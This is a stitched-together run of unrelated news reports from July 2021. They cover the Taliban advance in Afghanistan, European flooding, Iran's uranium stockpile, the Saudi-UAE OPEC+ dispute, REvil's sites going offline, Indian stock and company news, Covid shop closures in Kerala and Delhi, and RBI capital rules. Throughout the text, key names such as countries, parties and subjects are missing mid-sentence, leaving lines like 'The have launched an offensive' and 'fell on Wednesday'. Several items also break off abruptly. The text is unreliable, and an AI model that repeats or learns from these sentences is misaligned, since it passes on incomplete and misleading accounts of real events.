The Embassy said it would not be able to ensure the safe departure of citizens choosing to stay beyond July 17.

The have launched an offensive across the country since early May when US-led foreign forces began their final withdrawal, which is now almost complete.

Foreign forces began their final withdrawal from in early May after an military intervention that has lasted 20 years and is expected to be completed by the end of August.

is witnessing a surge in violence as the has intensified its offensive against civilians and Afghan defence and security forces as foreign forces are withdrawing from the war-torn country.

As the Taliban have taken control of several districts across the country, US intelligence assessments have suggested the country's civilian government could fall to the terror group within months of US forces withdrawing.

(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)
Storms caused heavy flooding across parts of western and central overnight, and a man swept away by a raging stream in eastern Germany remained missing Wednesday.

Firefighters resumed their search for the man in the Saxony state town of Joehstadt on Wednesday morning. German news agency dpa reported that he had been trying to secure his property from rising waters when he disappeared.

Firefighters in the city of Hagen, in the North Rhine-Westphalia state, rescued several drivers whose vehicles got stuck in a flooded underpass. Videos on social media showed streets in the western German city filled with knee-high water and buried by landslides.

A fallen tree trapped a woman in the German town of Mettmann, and responders had to hold her head up to keep her from drowning in rising flood waters until firefighters could free her. Residents in nearby Erkrath were warned not to shower or use their washers because rain had overloaded the local sewage system.

Hof county in Bavaria issued a disaster alert late Tuesday as basements filled with water, trees were uprooted and some areas lost power overnight. Germany's DWD weather service said the region saw 80 litres (more than 21 gallons) of rain per square metre in the space of 12 hours.

German government spokesman Steffen Seibert described the images from regions hardest hit by flooding as terrible.

Even though not every event, not every flooding or local incident, is related to climate change, many scientists tell us that the frequency, the intensity and the regularity with which this happens is a consequence of climate change, Seibert said.

DWD meteorologists predicted further extreme storms in the western and central parts of Germany through Thursday, with peak rainfall possibly reaching 200 litres per square metre.

In the the neighbouring Czech Republic, firefighters received 800 calls about incidents ranging from fallen trees to flooded basements. A highway linking the capital, Prague, to the east of the country partly flooded overnight. Thousands of households remained without electricity Wednesday.

Mud inundated houses in some towns in eastern Belgium as sustained rains hit the Ardennes hills hard. The tourist centre of Spa, close to the famed Formula One track, could not handle the water streaming down from the surrounding hills that turned streets into rivers.

Cars piled on top of one another and cellars flooded, but no serious injuries were reported.

The Belgian meteorological institute issued a red alert Wednesday for the zone around Liege, some 100 km (60 miles) east of Brussels, which was forecast get more rain in a day than the area would normally receive in a whole summer month. The rain is expected to last until Friday.

Authorities in the Netherlands warned the heavy rainfall in the southern province of Limburg could turn streams into dangerously fast-flowing torrents and urged the public to stay away from them. Boat owners were advised to steer clear of the Maas river due to strong currents and debris being washed downstream.

Dutch media showed people being rescued Tuesday from a historic mill in the Netherlands that was partially submerged under floodwaters estimated at 1.5 metres (5 feet) high.

Swollen rivers were expected to overflow into their floodplains later in the week, which is unusual in the summer. It more often happens in the spring when rivers such as the Rhine and the Maas rise due to melting snow in European hills and mountains.

In Switzerland, authorities raised the flood warning for Lake Lucerne to the highest level and banned all shipping.

France's national weather service issued warnings Wednesday for five regions in the country's northeast. area. Much of France has seen an unusually cool and wet summer so far.

Meanwhile, parts of southeastern have been experiencing a heat wave. Temperatures in Albania and neighboring Kosovo reached 35-37 degrees Celsius (95-99 F) on Wednesday.

No deaths have been reported from the heat wave so far. Authorities strongly urging the public, especially children and older adults, to stay home during the day.

(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)
Iranian leaders conceded they wont secure the revival of a nuclear agreement with world powers during their last few weeks in office, and signaled that theyre leaving behind an atomic program poised on the threshold of whats required for a weapon.



President-elect Ebrahim Raisi, an ultraconservative cleric, will have to conclude talks aimed at reviving the 2015 agreement that lifted US sanctions in exchange for nuclear caps, the outgoing president, Hassan Rouhani, said Wednesday at one of his final cabinet meetings. Hours later, his foreign minister, Mohammad Javad Zarif, tweeted a chart indicating that Irans stockpile of highly-enriched uranium has almost tripled since June.



The table has been set, said Rouhani, who leaves office Aug. 3. We hope, God willing, that the 13th government can complete the work.



Diplomats told Bloomberg this week that Iran was unlikely to return to negotiations aimed at restoring the landmark accord -- which all but collapsed after then-US President Donald Trump unilaterally withdrew in 2018 -- until mid-August, after Raisi enters office.



The talks are being closely watched by energy markets anticipating a surge in Iranian oil and gas exports if sanctions on the countrys sales are lifted. A dispute between two foes of Tehran -- the United Arab Emirates and Saudi Arabia -- is preventing OPEC+ from boosting supplies as major economies emerge from pandemic lockdowns.



Iran has almost tripled its stockpile of uranium enriched to 60% to 8.9 kilograms (19.6 pounds) from 2.4 kilograms verified by inspectors in a June report, according to a tweet by Zarif, which advised US President Joe Biden to look closely at Irans most-recent nuclear capacity and stockpile figures.



That level of uranium enrichment is technically indistinguishable from the material needed to make nuclear weapons, Atomic Energy Agency Director General Rafael Mariano Grossi told Bloomberg in an interview last month. As little as 10 to 15 kilograms of highly-enriched uranium could be used to manufacture a crude nuclear weapon, according to estimates published by the Federation of American Scientists.



Iran has always maintained that its nuclear program is for civilian uses but concern in Western capitals and Israel over the potential for bomb-making helped prompt the 2015 deal.



Rouhani appeared to blame Irans conservative-dominated parliament for his failure to revive the accord after the assembly passed a law late last year triggering a rapid expansion in Iranian nuclear activity. He said US sanctions wouldve been lifted by March, if the bill hadnt been introduced.



They snatched the opportunity from the hands of the government, he said in the comments shown on state TV. Four, five, six months of opportunities have been lost, which we sorely regret.


dropped on Wednesday after Reuters reported that and the United Arab Emirates had reached a compromise over a global supply deal that will allow the to boost its output.

The deal between the two Gulf producers means that members of the Petroleum Exporting Countries (OPEC), Russia and other producers, a group known as OPEC+, will be able to extend a deal to curb output until the end of 2022, the sources said.

Brent crude was down 57 cents, or 0.75%, at $75.92 a barrel by 1120 GMT after dropping by over $1 earlier. West Texas Intermediate was off by 58 cents, or 0.77%, at $74.67 a barrel.

Disagreement between OPEC's defacto leader and the led to a collapse in talks last week on boosting production as global demand recovers from the coronavirus pandemic.

Under the compromise with Saudi Arabia, the UAE's baseline production will rise to 3.65 million barrels per day after the current pact expires in April 2022, the source said.

were earlier under pressure after data showed China's crude imports dropped by 3% from January to June compared with a year earlier, the first such contraction since 2013, as import quota shortages, refinery maintenance and rising global prices curbed buying.

"Imports were scaled back as surging prices for crude oil have eroded refinery profit margins," Eurasia Group said in a note.

Lending support to the market, U.S. stockpiles of oil and gasoline inventories fell last week, according to two market sources on Tuesday, citing American Petroleum Institute figures.

Crude inventories declined by 4.1 million barrels for the week ended July 9, the sources said.

If confirmed on Wednesday when the Energy Information Administration (EIA) releases its weekly data, the draw would mark a seventh consecutive week of inventory declines.

The Energy Agency said global withdrawals from storage in the third quarter were set to be the most in at least a decade, pointing to early June stock draws in the United States, Europe and Japan.
TOKYO (Reuters) - fell on Wednesday on future demand concerns after data showed that China's first-half crude imports dropped, but were still holding near a one-week high amid concerns about supplies as the world recovers from the coronavirus pandemic.

Brent crude was down 8 cents, or 0.1%, at $76.41 a barrel by 0141 GMT, after gaining 1.8% on Tuesday. West Texas Intermediate was off by 13 cents, or 0.2%, at $75.12 a barrel, having jumped 1.6% in the previous session.

China's crude imports dropped by 3% from January to June compared with a year earlier, the first such contraction since 2013, as import quota shortages, refinery maintenance and rising global prices curbed buying.

"Imports were scaled back as surging prices for crude oil have eroded refinery profit margins," Eurasia Group said in a note.

"If OPEC doesn't agree to raise supply soon, high will also likely lead to demand destruction in even more cost-sensitive emerging markets, especially India," Eurasia said.

Disagreement over supply policy within the Organization of the Petroleum Exporting Countries (OPEC), Russia and other producers, known as OPEC+, led to the end of talks last week on boosting production without agreement.

The Energy Agency said global withdrawals from storage in the third quarter were set to be the most in at least a decade, pointing to early June stock draws from the United States, Europe and Japan.

U.S. stockpiles of oil and gasoline inventories fell last week, according to two market sources on Tuesday, citing American Petroleum Institute figures.

Crude inventories declined by 4.1 million barrels for the week ended July 9, the sources said, which would be their eighth straight weekly fall.

(Reporting by Aaron Sheldrick; Editing by Kenneth Maxwell)

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Just days after President Biden demanded that President Vladimir V Putin of shut down groups attacking American targets, the most aggressive of the groups suddenly went off-line early Tuesday.



The mystery is who made it happen.



The group is called REvil, short for  evil. Two weeks after Mr. Biden and Mr. Putin met in Geneva last month, REvil took credit for a hack that affected thousands of businesses around the world over the July 4 holiday.



That latest attack led to Mr. Bidens ultimatum in a phone call on Friday to the Russian president. Later, Mr. Biden said that we expect them to act, and when asked by a reporter later if he would take down the groups servers if Mr. Putin did not, the president simply said, Yes.



He may have done exactly that.



But that is only one possible explanation for what happened around 1 am Eastern time on Tuesday, when the groups sites on the dark web suddenly disappeared.



Gone was the publicly available happy blog the group maintained, listing some of its victims and the groups earnings from its digital extortion schemes. Internet security groups said the custom-made sites  think of them as virtual conference rooms  where victims negotiated with REvil over how much ransom they would pay to get their data unlocked also disappeared. So did the infrastructure for making payments.



While the disappearance of the hackers online presence was celebrated by many who see as a new scourge, it left some of the groups targets in the lurch, unable to pay the ransom to get their data back and get their businesses running again.



Whats the plan for the victims? asked Kurtis Minder, the chief executive of GroupSense, a digital risk protection company.

There were three main theories about why REvil suddenly disappeared.



One is that Mr. Biden ordered the United States Cyber Command, working with domestic law enforcement agencies, including the FBI, to bring the groups sites down.



The second theory is that Mr. Putin ordered the groups sites taken down. If so, that would be a gesture toward heeding Mr. Bidens warning, which he had also conveyed, in more general terms, when the two leaders met on June 16 in Geneva.



A third theory is that REvil decided that the heat was too intense, and took the sites down itself to avoid becoming caught in the crossfire between the American and Russian presidents.

NYT
and the have reached a compromise over Opec+ policy, an Opec+ source said on Wednesday, in a move that should unlock a deal to supply more crude to a tight oil market and cool soaring prices.



Brent oil prices fell on the news by as much as $1 per barrel towards $75 per barrel after Reuters reported the two major Opec producers had agreed a deal.



In a statement on Wednesday, the UAE energy ministry said that a deal with Opec+ on its baseline is yet to be reached and that deliberations are continuing.



The Organization of the Petroleum Exporting Countries, Russia and their allies, a group known as Opec+, still need to take a final decision on output policy, after talks this month were abandoned because of the Saudi-UAE dispute.



Opec+ had agreed record output cuts of almost 10 million barrels per day (bpd) last year to cope with a pandemic-induced slump in demand. The curbs have been gradually relaxed since then and now stand at about 5.8 million bpd.



The dispute between Riyadh and Abu Dhabi spilled into the open after the Opec+ talks, with both airing concerns about details of a proposed deal that would have added an extra 2 million bpd to the market to ease oil prices that have recently climbed to 2-1/2 year highs.



While and the UAE both endorsed raising output immediately, the UAE had opposed extending the existing deal until December 2022 from April 2022 unless it was granted a higher production quota.



The Opec+ source said Riyadh had agreed to Abu Dhabi's request to have UAE's baseline  the level from which cuts under the Opec+ agreement on supply curbs are calculated  set at 3.65 million bpd from April 2022, up from 3.168 million now.

Giving the UAE a higher production baseline paves the way for extending the overall pact to the end of 2022, the Opec+ source said.



Russia has been insisting on a quick output increase and has been among several countries mediating between Riyadh and Abu Dhabi to get a deal done as soon as possible.



Opec+ has yet to take a final decision about the production deal. It was not immediately clear if other countries would also adjust their baselines. The producers have said they will decide on a new date for the next meeting in due course.



The UAEs energy ministry issued a statement acknowledging the talks, but saying no agreement had yet been reached with the Opec+ group. REUTERS
Nifty futures on the Singapore Exchange traded 47.50 points lower at 15,787, indicating a weak start for the benchmark indices on Wednesday.

Here are the top stocks to track in today's session:

Results Today: Infosys, 5paisa Capital, Craftsman Automation, Dodla Dairy, L&T Technology Services and Hatsun Agro Product are among 19 companies that are slated to post their quarterly earnings today.

Most analysts are penciling in a 27-30 per cent year-on-year (YoY) rise in Infosys' Q1 profit while the revenue growth is seen between 16-17 per cent. That apart, expectations are ripe that the company may hike its FY22 revenue guidance to 13-15 per cent versus 12-14 per cent earlier. READ HERE

Adani Enterprises: The company's subsidiary Adani Airport Holdings has taken over the management control of Mumbai International Airport (MIAL) from the GVK Group. This follows approvals received from the Government of India, the City and Industrial Development Corporation (CIDCO) of Maharashtra, and the Government of Maharashtra.

Mindtree: The company reported net profit at Rs 343.4 crore for the quarter ended June 30, 2021, an increase of 61.2 per cent year-on-year, and sequentially profits grew 8.2 per cent. A broad based growth across verticals and geographies saw the companys revenue rise by 20.1 per cent at Rs 2,291.7 crore for the quarter. Sequentially, the companys revenue was up 8.6 per cent.

Tata Metaliks: The company on Tuesday reported a net profit of Rs 94.72 crore for the quarter ended June 30, 2021. The company posted a net loss of Rs 12.36 crore in the year-ago quarter.

Barbeque-Nation Hospitality: ICRA has upgraded credit rating for the bank facilities of Barbeque-Nation Hospitality.

Bank of Maharashtra: State-run Bank of Maharashtra (BoM) on Tuesday said the board has fixed a floor price of Rs 24.89 per share for the proposed Rs 2,000 crore qualified institutional placement (QIP).

Amara Raja Batteries, Exide Ind: Shares of battery manufacturers, automobile makers, and south-based realty players will be in focus on Wednesday after the Maharashtra government announced on Tuesday that EVs in the state will attract financial incentives ranging from Rs 10,000 to Rs 20 lakh and housing societies will earn rebates in property tax for setting up charging stations as part of government's big e-mobility push.

Torrent Power: Supreme Court has stayed a Bombay High Court order that suspended tender process for power distribution business in Dadra Nagar Haveli and Daman & Diu. The company had emerged as the highest bidder in the tender for 51 per cent equity stake in a power distribution company for the Union Territories of Dadra Nagar Haveli and Daman & Diu. Moreover, the company ended FY21 with a revenue of Rs 12,314 crore, down 10 per cent from Rs 13,818 crore in FY20. Ebitda fell 3 per cent from Rs 3,734 crore to Rs 3,607 crore. Ebitda margin improved slightly from 27 per cent to 29 per cent.

Zuari Agro Chemicals: The company has resumed operations of its SSP plant in Mahad, Maharashtra. NPK A Plant has been shut down due to unavailability of raw materials.

NTPC: State-owned NTPC will set up country's single largest solar park at Rann of Kutch in Gujarat following the go-ahead from the government. The 4,750-megawatt (MW) renewable energy park at Rann of Kutch in Khavada Gujarat will be set up by NTPC Renewable Energy ltd, the power giant said in a statement.

Vedanta, Hindustan Zinc: said that total production at Zinc International rose 62 per cent to 61,000 tonnes in the first quarter of the ongoing fiscal. The company said that the cast metal aluminium production (including trial run) at its smelters in Jharsuguda and BALCO increased by 17 per cent to 5,49,000 tonnes in Q1 FY'22, over the year-ago period mainly due to ramp-up of pots. With regard to iron ore business it said that there was no production at Goa due to suspension of mining operations. Hindustan Zinc, another Group firm, on Tuesday said its mined metal production rose by 9 per cent to 2,21,000 tonnes in the first quarter of the ongoing fiscal.

Lupin: Drug maker Lupin on Tuesday said it has launched antifungal product Tavaborole Topical Solution in the US market.

Sadbhav Infrastructure Projects: India Ratings has downgraded the credit rating of the company to BBB+ from A-.

HDFC Bank: The company board will meet on July 17 to consider raising funds via foreign currency debt.

Coromandel International: CRISIL has reaffirmed their rating for the debt programme of the company with the outlook for loan term bank loan facilities revised from Stable to Positive.

Insecticides (India): Credit Rating by CRISIL for long term and short term loan facilities of the company has been remained the same compare to previous financial year, at A/Stable and A1 respectively.
Adani Enterprises' wholly owned subsidiary, Adani Airport Holdings (AAHL), has taken over the management control of Mumbai International Airport (MIAL) from the GVK Group.

This follows approvals received from the Government of India, the City and Industrial Development Corporation (CIDCO) of Maharashtra, and the Government of Maharashtra.

MIAL is India's second busiest airport by both passenger and cargo traffic. With eight airports in its management and development portfolio, AAHL is now India's largest airport infrastructure company, accounting for 25% airport footfalls. With the addition of MIAL, AAHL will now also control 33% of India's air cargo traffic.

While the world navigates its way out of an unprecedented crisis, post-pandemic demand for air travel in India and the rest of the world is expected to surge. The International Air Transport Association expects global passenger traffic to recover to 88% of pre-COVID levels by 2022 and exceed pre-COVID levels in 2023.

With India becoming to be the world's third largest aviation market by 2024, the addition of the Mumbai International Airport to the Adani Group's existing portfolio of six airports, and Airports thereafter the operationalization of the greenfield Navi Mumbai International Airport (NMIAL) provides a transformational aviation platform allowing the Adani Group to interlink its B2B and B2C business as well as create several strategic adjacencies for the Group's other B2B businesses.

AAHL will begin the construction of the Navi Mumbai International Airport next month and complete the financial closure in the next 90 days. This new international airport will be commissioned in 2024.

With management control of Mumbai International Airport (MIAL), AAHL is poised to join the league of the world's leading airport operators that cater to 100 million + passengers and 200 million non-fliers in a year, presenting a massive 300 million + strong consumer platform.

Our larger objective is to reinvent airports as ecosystems that drive local economic development and act as the nuclei around which we can catalyse aviation-linked businessess, said Gautam Adani, Chairman of the Adani Group.

AAHL is a subsidiary of Adani Enterprises, the flagship company of the Adani Group, which won the mandate to modernize and operate six airports - Ahmedabad, Lucknow, Mangaluru, Jaipur, Guwahati and Thiruvananthapuram - for a period of 50 years through a globally competitive tendering process conducted by the Airports Authority of India (AAI).

The announcement was made after market hours yesterday, 13 July 2021. Shares of Adani Enterprises shed 0.24% to settle at Rs 1,417.65 yesterday.

Adani Enterprises (AEL) is the flagship company of Adani Group, one of India's largest business conglomerates. The company's business investments are centred on the fields of airport management, technology parks, roads, data centre and water infrastructure.

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The key equity indices continued to trade with minor cuts in morning trade. The Nifty continued to trade below the 15,800 mark. IT, metals and pharma shares bucked weak market trend.

At 10:25 IST, the barometer index, the S&P BSE Sensex, was down 71.6 points or 0.14% to 52,698.13. The Nifty 50 index lost 26.25 points or 0.17% to 15,786.10.

In the broader market, the S&P BSE Mid-Cap index gained 0.19% while the S&P BSE Small-Cap index rose 0.43%.

The market breadth was strong. On the BSE, 1725 shares rose and 1159 shares fell. A total of 138 shares were unchanged.

Zomato IPO:

The initial public offer of online food delivery platform Zomato was subscribed 10% by 10:30 IST. The issue received bids for 7,44,69,720 shares compared with 71,92,33,522 shares on offer. The IPO opened for bidding today (14 July) and it will close on Friday (16 July). The price band of the IPO is fixed at Rs 72-76 per share of the face value of Rs 1 each.

The IPO comprises a fresh issue of equity shares worth Rs 9,000 crore and an offer for sale (OFS) worth Rs 375 crore by existing investor, Info Edge (India).

Ahead of the IPO, the online food delivery and restaurant discovery platform raised Rs 4,197 crore from 186 anchor investors Tuesday (13 July). The company allotted 55.22 crore equity shares to anchor investors for Rs 76 per equity share.

Economy:

S&P Global Ratings on Tuesday affirmed India's sovereign rating at the lowest investment grade of 'BBB-' for the 14th year in a row with a stable outlook, and said that the country's strong external settings will act as a buffer against financial strains despite elevated government funding needs over the next 24 months. The sovereign credit ratings on India reflect the economy's above-average long-term real GDP growth, sound external profile, and evolving monetary settings, S&P Global Ratings stated.

Earnings Today:

Infosys, L&T Technology Services, 5Paisa Capital, Craftsman Automation, Dodla Dairy, Hatsun Agro Product, Raghav Productivity Enhancers, Tinplate Company of India are some of the companies that will announce their quarterly earnings today.

Buzzing Index:

The Nifty IT index rose 1.58% to 28,889.15. The index declined 1.08% in the past three sessions.

Mphasis (up 4.14%), Coforge (up 3.81%), Oracle (up 2.25%), Tech Mahindra (up 2.23%), Larsen & Toubro Infotech (up 2.21%), HCL Tech (up 1.62%), Infosys (up 0.86%), Wipro (up 0.87%) and TCS (up 0.51%) advanced.

Mindtree jumped 7.36% to Rs 2,678.45 after the IT company reported strong Q1 results after market hours Tuesday (13 July). The counter hit a record high of Rs 2,692.80 in intraday today. The stock has surged 179% from its 52-week low of Rs 963.30 hit on 15 July 2020.

The IT company reported an 8.2% increase in net profit to Rs 343.40 crore on an 8.6% rise in revenues to Rs 2,291.70 crore in Q1 FY22 over Q4 FY21. In dollar terms, the company posted 7.5% rise in consolidated net profit to $46.5 million on 7.7% increase in revenues to $310.5 million in Q1 FY22 over Q4 FY21.

EBITDA in Q1 FY22 rose 0.4% to Rs 464.50 crore as against Rs 462.60 crore posted in Q4 FY21. EBITDA margin was at 20.3% as on Q1 FY22 compared with 21.9% in Q4 FY21 and 18.2% in Q1 FY21.

In Q1 FY22, Mindtree reported highest ever order book of half-a-billion US dollars, registering a growth of 34.2% QoQ. The total active clients at the end of June 2021 stood at 260, down from 270 clients at the end of March 2021.

Total employee headcount was at 27,256 in Q1 FY22 as against 23,814 in Q4 FY21. The attrition rate (last twelve months) stood at 13.7% at the end of Q1 FY22, falling from 16.6% in Q1 FY21.

Stocks in Spotlight:

NBCC (India) shed 0.09% to Rs 54.45. The company has secured total business of Rs 206 crore in the month of June 2021.

Tata Metaliks jumped 6.48% to Rs 1279.95. The company's standalone net profit stood at Rs 94.72 crore in Q1 June 2021 (Q1 FY22) compared with net loss of Rs 12.36 crore in Q1 June 2020 (Q1 FY21). Revenue from operations surged 187.21% to Rs 602.97 crore in Q1 FY22 as against Rs 209.94 crore in Q1 FY21.

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Forms ELGi Compressors Southern Europe to promote sales in Italy

Elgi Equipments announced that its step down subsidiary in Europe, Rotair Spa. has formed a wholly owned Subsidiary Company in Europe by name ELGI COMPRESSORS SOUTHERN EUROPE, SRL. in Italy.

The Italian sales promoting activities of the Electric Powered Screw Air Compressors business of Rotair, Spa will be transferred to and henceforth performed by ELGi Compressors Southern Europe, Srl as part of the second phase of restructuring ELGi entities in Europe.

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RattanIndia's Revolt Motors welcomed the Maharashtra Electric Vehicle Policy 2021 announced by the state.

In a major fillip for the EV adoption in Maharashtra, state government will pay Rs. 10,000 per bike as incentive in Maharashtra. Customers buying electric motorbikes before 31 December 2021 will get additional early bird incentives of Rs. 15,000 on top of Rs. 10,000 regular incentive, thus making total incentives of Rs. 25,000. This is over and above the FAME II incentives of for EV manufacturers recently announced by the Central Government which amounts to Rs. 48,000 per bike in case of Revolt. Combining these incentives it would mean incentives of atleast Rs. 64,000 per bike sold by Revolt in Maharashtra.

In addition, EV bikes will be exempted from road tax and registration charges which will further boost customer savings. Also, the petrol two wheelers owners changing to EVs bikes will get Rs. 7,000 as scrappage incentive.

Maharashtra was one of the first states where Revolt started its sales in February 2020 and looking at the huge demand, company is fast scaling up its sales dealership network in the state. The implementation of Maharashtra Electric Vehicle Policy 2021, in addition to the FAME II incentive, will accelerate the process of EV adoption in the state.

The increased subsidy being offered under the new scheme will make EV motorcycles more affordable and accessible to consumers.

These incentives in Maharashtra come in addition to the incentives given by the Central Government. Maharashtra follows suit on incentives by various state governments to encourage EV adoption in their states. Gujarat Govt. gives incentives of Rs. 20,000 per bike, Delhi Government gives direct incentive of Rs. 5,000 per KWh or about Rs. 16,200 per bike for Revolt customers. Similarly, Meghalaya has incentive of Rs. 32,000 per bike for Revolt and Bihar has also proposed a similar amount as incentive. In addition states of Telangana, Tamil Nadu and Delhi have also waived off the road tax for EV two wheelers.

These incentives by the Central Government and various State Governments show the seriousness of the government to encourage manufacturing and EV adoption in country. With falling battery prices, EV bikes prices are already comparable to their petrol counterparts. With EV running cost of approximately Rs. 9 per 100 kms, these bikes have very low running cost as compared to petrol bikes which cost Rs. 250 per 100 kms.

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Tata Consultancy Services announced plans to expand its operations in Arizona, investing more than $300 million by 2026 and hiring more than 220 employees by 2023, to meet the digital transformation needs of its customers. TCS will also continue to expand the reach of its STEM and Computer Science education programs in Arizona by increasing teacher training and online content for students over the next two years.

TCS' flagship Phoenix Business Center, one of 30 TCS facilities in the US, serves more than 50 customers across Arizona.

TCS currently has more than 780 employees in the state, helping clients in banking, manufacturing, healthcare, and utilities, manage their IT operations and harness technologies such as artificial intelligence, machine learning, and enterprise software to achieve their growth and transformation objectives. The new positions will be based at the Phoenix center as well as in client offices around the state.

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requires a watchful eye, which sometimes turns lax. Uddalok Bhattacharya sums up

A K Bhattacharya writes: New responsibilities for the finance minister and the home minister indicate the governments focus on and cooperatives

India would do well to note that very few developed countries have copied the British model of selling off whole utility networks to private entities. Vinayak Chatterjee looks at the stresses in public-private partnerships

When moved the Coke bottles from the media table, he was changing the nature of the Coke-FIFA Euro 2020 sponsorship contract, says Ambi Parameswaran.

It is unlikely that he was not aware that the Coke bottle on the table was not an accident but a clear advertising message
The Union Health Ministry has pointed out that in many parts of the country, the weeks-long decline in the number of new Covid-19 cases has plateaued  and that, in fact, in some places the curve has bent upwards again. Kerala and parts of Maharashtra in particular, which were the early warning signals of the second wave of the pandemic in India, have once again seen a rise in cases.

The north-eastern states are also enduring a similar increase. There is a real danger, therefore, that a third wave is imminent even sooner than was earlier predicted. Unlike before the second ...
Aam Aadmi Party leader Sanjay Singh has complained to police here against an minister and some senior officials, alleging corruption in the purchase of medical equipment in anticipation of the third Covid wave.

According to a party statement, he complained to the Lucknow's Hazratganj Kotwali police on Tuesday that state Medical Education Minister Suresh Kumar Khanna and senior officials of his department were involved in a scam of over Rs 58 crore.

The minister could not be contacted for comments.

The officials against whom the complaint has been given are department Principal Secretary Alok Kumar, Director General of Health (Medical Education) Saurabh Babu, directors of Sanjay Gandhi Post Graduate Institute of Medical sciences and Dr Ram Manohar Lohia Institute of Medical Sciences.

The AAP's Rajya Sabha MP alleged that the state government purchased ventilators, each costing from Rs 22 to 35 lakh, while the same type of ventilators were bought by Lucknow's King George's Medical University (KGMU) for Rs 10 lakh per machine.

Similarly, many other equipment available were bought three to four times costlier than the market price, he alleged.

Demanding the lodging of a case against them, the AAP leader said if police failed to do so, he will approach the court for it.

The party will also complain about the matter to the Lokayukta, the statement said.

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Support for



the merchants, demanding they be allowed to open their shops, came pouring in from various political parties, including the and BJP, with all of them on Wednesday flaying Chief Minister Pinarayi Vijayan for his "threat" of action against those shopkeepers who violated COVID-19 protocols.

Pradesh Committee (KPCC) president and Lok Sabha MP K Sudhakaran and Leader of Opposition in the state assembly, V D Satheesan, said their party was supporting the merchants and the CM should not think he can scare people with his "threats".

"Those tactics will not work," Satheesan said to the media.

Sudhakaran said the chief minister should have adopted a more considerate and soft approach, instead of such a harsh stand.

He also said that despite all these restrictions, the number of covid cases have not gone down.Whereas, in Delhi and Tamil Nadu, without such restrictions, they have managed to bring down the number of infections.

National General Secretary of Indian Union Muslim League (IUML), P K Kunhalikutty, said at a time when merchants and businessmen were to be taken into confidence, the state government was viewing them as enemies.

He said using power to threaten and scare people was not right and if the ruling government thinks it can do anything because it has the police with it, that will not happen in

He further said the merchants and businessmen need to run their shops to survive, for upkeep of their families, to pay debts and taxes and in such a situation they ought not to be threatened.

He said that doing so would lead to businessmen leaving the state for greener pastures.

Merchants of S M Street or Mittai Theruvu in Kozhikode protested outside their shops on July 12 morning against the bar on opening their establishments as the area falls in category C having a test positivity rate of 10 to 15 per cent.

The shopkeepers had claimed their businesses have been shut for the last two months and now it was becoming difficult to survive.

However, district administration and police officers told the media that as the area falls in category C -- places with a Covid test positivity rate (TPR) of 10 to 15 per cent -- shops cannot be allowed to open in the area.

Areas below TPR of 5 per cent are included in category A, those with 5 to 10 per cent are included in category B and areas with 10 to 15 per cent are included in category C and those above 15 per cent will be in category D.

The merchants, on the other hand, had said if liquor vends, where overcrowding can be seen, are being allowed to run, then why not shops and added that they will run their businesses by following all COVID protocol.

The protesting shopkeepers had said they were under huge debts and if they are not allowed to run their businesses, then they may have to resort to suicide as they are finding it difficult to survive presently.

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Indias first Prime Minister Jawaharlal Nehru wanted the governor to be an eminent person, respected in his or her field, whether in academics, science or art. He did not favour a political appointeea person whom the ruling party sought to give the office.

During a debate of the Constituent Assembly, he said: I think it would be infinitely better if he were not so intimately connected with local politics of the province. But today, 25 of the 28 governors are former politicians; while one is an army man. Of the remaining two, one is a bureaucrat, and the other an ...
The Uttar Pradesh Bharatiya Janata Party (BJP) will hold its state executive meeting on Friday to chart out its political roadmap for the upcoming Uttar Pradesh Assembly elections, due early next year.

The inaugural session of the meeting will be addressed virtually by national President J.P. Nadda.

State chief Swatantra Dev Singh said that a meeting, comprising party national leaders, Chief Minister Yogi Adityanath, state organisational leaders and president of frontal wings, will be held on July 15 to finalise the agenda.

The meeting comes immediately after the claimed a landslide victory in the three-tiered panchayat elections, two phases of which were marred by violence.

The panchayat results have firmed up BJP's presence in the rural interiors and is a major booster for the Assembly polls.

The state executive is being held after the recent rejig in the Narendra Modi cabinet in which seven MPs from the state were included in the union cabinet with an eye on caste and regional balancing.

Party sources said that the state executive will also give the nod for a slew of programmes to mobilise party cadres for the upcoming elections.--IANS

amita/dpb

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on Wednesday told the that the issue as to whether spas can be re-opened in the national capital amid the ongoing COVID19 pandemic was under its active consideration.

Justice Rekha Palli took on record the statement made by government counsel Naushad Khan on a petition filed by Delhi Wellness Spa Association for re-opening of spas.

The Association claims that its members have valid licenses to run the spas here.

The lawyer informed the court that a petition by owners of two spa centers seeking similar relief was already coming up for hearing on July 20.

The court said it wants a decision on the issue of re-opening by then.

I want a decision by that time. You are opening everything., Justice Rekha Palli said and asked the lawyer to take instructions.

Khan submitted that a balanced view has to be taken in view of the second wave of the pandemic and the plight of persons affected by the closure.

Senior advocate Sachin Dutta, appearing for Delhi Wellness Spa Association, told the court that keeping spas closed affected as many as 50,000 to 60,000 persons who are associated with the sector.

They are on the verge of starvation, he said and clarified that the plea was not adversarial in nature and the case load of the virus had come down in the national capital.

He added that the government may even chose to impose a condition that those working in spas have to be vaccinated.

Khan objected to the plea saying that the Association here was not a registered association of spa centres.

In its petition filed through HD Thanvi & Associates, the Association has submitted that it is aggrieved by the arbitrary, unlawful, and unwarranted and in-ordinate delay in not opening the spas in the national capital.

It is stated that while all similar activities have been permitted to be opened, such as gym and salon, is yet to permit spas to once again start their operation.

On July 5, the court had sought response of the and the Centre on the plea filed by owners of two spa centers, alleging inordinate delay in issuing guidelines to reopen spa centres which were closed in April due to the second wave of COVID-19.

The court said that it expected Delhi government to be ready with an explanation as to why spas were not permitted to be open in spite of a January order which directed the reopening of spa centers closed during the first wave of the pandemic.

In the January order, the court stated that the slightly higher percentage of risk due to the proximity of the client and the service provider in spas could be obviated by prescribing stricter measures and safeguards rather than continuing to keep such establishments closed.
The Reserve Bank on Wednesday came out with draft guidelines allowing primary urban cooperative (UCBs) to augment capital through issuance of equity shares, preference shares and debt instruments.

The UCBs, it said, could raise share capital by issue of equity to persons within their area of operation enrolled as members and also through additional equity shares to the existing members.

The UCBs, as per the draft, will be permitted to raise Tier-I and Tier-II capital by issuing Perpetual Non-Cumulative Preference Shares (PNCPS), Perpetual Cumulative Preference Shares (PCPS), Redeemable Non-Cumulative Preference Shares (RNCPS) and Redeemable Cumulative Preference Shares (RCPS).

The UCBs will also be allowed to issue Perpetual Debt Instruments (PDI) which will be eligible to be included in Tier-I capital and Long Term Subordinated Bonds(LTSB) as Tier-II capital.

